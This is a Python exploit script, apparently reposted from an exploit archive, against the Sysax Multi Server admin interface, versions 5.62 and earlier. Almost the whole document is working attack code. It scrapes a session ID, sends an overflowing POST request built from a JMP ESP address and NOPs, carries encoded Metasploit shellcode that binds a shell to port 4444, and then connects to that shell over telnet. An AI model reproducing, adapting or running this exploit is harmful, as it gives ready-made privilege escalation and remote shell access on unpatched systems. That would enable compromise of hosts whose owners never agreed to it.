Sysax <= 5.62 Admin Interface Local Buffer Overflow

#!/usr/bin/python
##########################################################################################################
#Title: Sysax <= 5.62 Admin Interface Local Buffer Overflow
#Author: Craig Freyman (@cd1zz)
#Tested on: XP SP3 32bit
#Date Discovered: June 15, 2012
#Vendor Contacted: June 19, 2012
#Details: http://www.pwnag3.com/2012/06/sysax-admin-interface-local-priv.html
##########################################################################################################
 
import socket,sys,time,re,base64,subprocess
 
def main():
    global login
    print "\n"
    print "****************************************************************************"
    print "        Sysax <= 5.62 Admin Interface Local Buffer Overflow                 "
    print "                      by @cd1zz www.pwnag3.com                              "
    print "****************************************************************************"
 
    #initial GET
    login = "GET /scgi? HTTP/1.1\r\n"
    login +="Host: localhost:88\r\n"
    login += "Referer: http://localhost:88\r\n\r\n"
 
    try:
        r = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        r.connect((target, port))
        print "[+] Accessing admin interface"
        r.send(login)
    except Exception, e:
        print "[-] There was a problem"
        print e
     
    #loop the recv sock so we get the full page
    page = ''  
    fullpage = ''  
    while "</html>" not in fullpage:
        page = r.recv(4096)
        fullpage += page
    time.sleep(1)
 
    #regex the sid from the page
    global sid
    sid = re.search(r'sid=[a-zA-Z0-9]{40}',fullpage,re.M)
    if sid is None:
        print "[-] There was a problem finding your SID"
        sys.exit(1)
    time.sleep(1)
    r.close()
 
def exploit():
    #msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/shikata_ga_nai -b "\x00\x0a\x0d"
    shell = (
    "\xdb\xd5\xd9\x74\x24\xf4\xb8\xc3\x8f\xb3\x3e\x5b\x33\xc9"
    "\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\x3f\x6d\x46\xc2"
    "\x57\xfb\xa9\x3b\xa7\x9c\x20\xde\x96\x8e\x57\xaa\x8a\x1e"
    "\x13\xfe\x26\xd4\x71\xeb\xbd\x98\x5d\x1c\x76\x16\xb8\x13"
    "\x87\x96\x04\xff\x4b\xb8\xf8\x02\x9f\x1a\xc0\xcc\xd2\x5b"
    "\x05\x30\x1c\x09\xde\x3e\x8e\xbe\x6b\x02\x12\xbe\xbb\x08"
    "\x2a\xb8\xbe\xcf\xde\x72\xc0\x1f\x4e\x08\x8a\x87\xe5\x56"
    "\x2b\xb9\x2a\x85\x17\xf0\x47\x7e\xe3\x03\x81\x4e\x0c\x32"
    "\xed\x1d\x33\xfa\xe0\x5c\x73\x3d\x1a\x2b\x8f\x3d\xa7\x2c"
    "\x54\x3f\x73\xb8\x49\xe7\xf0\x1a\xaa\x19\xd5\xfd\x39\x15"
    "\x92\x8a\x66\x3a\x25\x5e\x1d\x46\xae\x61\xf2\xce\xf4\x45"
    "\xd6\x8b\xaf\xe4\x4f\x76\x1e\x18\x8f\xde\xff\xbc\xdb\xcd"
    "\x14\xc6\x81\x99\xd9\xf5\x39\x5a\x75\x8d\x4a\x68\xda\x25"
    "\xc5\xc0\x93\xe3\x12\x26\x8e\x54\x8c\xd9\x30\xa5\x84\x1d"
    "\x64\xf5\xbe\xb4\x04\x9e\x3e\x38\xd1\x31\x6f\x96\x89\xf1"
    "\xdf\x56\x79\x9a\x35\x59\xa6\xba\x35\xb3\xd1\xfc\xfb\xe7"
    "\xb2\x6a\xfe\x17\x25\x37\x77\xf1\x2f\xd7\xd1\xa9\xc7\x15"
    "\x06\x62\x70\x65\x6c\xde\x29\xf1\x38\x08\xed\xfe\xb8\x1e"
    "\x5e\x52\x10\xc9\x14\xb8\xa5\xe8\x2b\x95\x8d\x63\x14\x7e"
    "\x47\x1a\xd7\x1e\x58\x37\x8f\x83\xcb\xdc\x4f\xcd\xf7\x4a"
    "\x18\x9a\xc6\x82\xcc\x36\x70\x3d\xf2\xca\xe4\x06\xb6\x10"
    "\xd5\x89\x37\xd4\x61\xae\x27\x20\x69\xea\x13\xfc\x3c\xa4"
    "\xcd\xba\x96\x06\xa7\x14\x44\xc1\x2f\xe0\xa6\xd2\x29\xed"
    "\xe2\xa4\xd5\x5c\x5b\xf1\xea\x51\x0b\xf5\x93\x8f\xab\xfa"
    "\x4e\x14\xdb\xb0\xd2\x3d\x74\x1d\x87\x7f\x19\x9e\x72\x43"
    "\x24\x1d\x76\x3c\xd3\x3d\xf3\x39\x9f\xf9\xe8\x33\xb0\x6f"
    "\x0e\xe7\xb1\xa5")
     
    nops = "\x90" * 20
    #7CA7A787 FFE4 JMP ESP shell32.dll v6.00.2900.6072
    jmp_esp = "\x87\xA7\xA7\x7C"
    payload = base64.b64encode(("A" * 392 + jmp_esp + nops + shell + nops))
     
    #setup exploit
    exploit = "POST /scgi?"+str(sid.group(0))+"&pid=scriptpathbrowse2.htm HTTP/1.1\r\n"
    exploit += "Host: localhost:88\r\n"
    exploit += "Content-Type: application/x-www-form-urlencoded\r\n"
    exploit += "Content-Length: "+ str(len(payload)+3)+"\r\n\r\n"
    exploit += "e2="+payload+"\r\n\r\n"
 
    try:
        r = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        r.connect((target, port))
        print "[+] Sending pwnag3"
        r.send(exploit)
    except Exception, e:
        print "[-] There was a problem"
        print e
    time.sleep(2)
    print "[+] Here is your shell..."
    subprocess.Popen("telnet localhost 4444", shell=True).wait()
    sys.exit(1)
 
if __name__ == '__main__':
    if len(sys.argv) != 1:
        print "[-] Usage: %s"
        sys.exit(1)
     
    #by default it binds to 127.0.0.1 on 88
    target = "127.0.0.1"
    port = 88
    main()
    exploit()



#  0day.today [2018-01-08]  #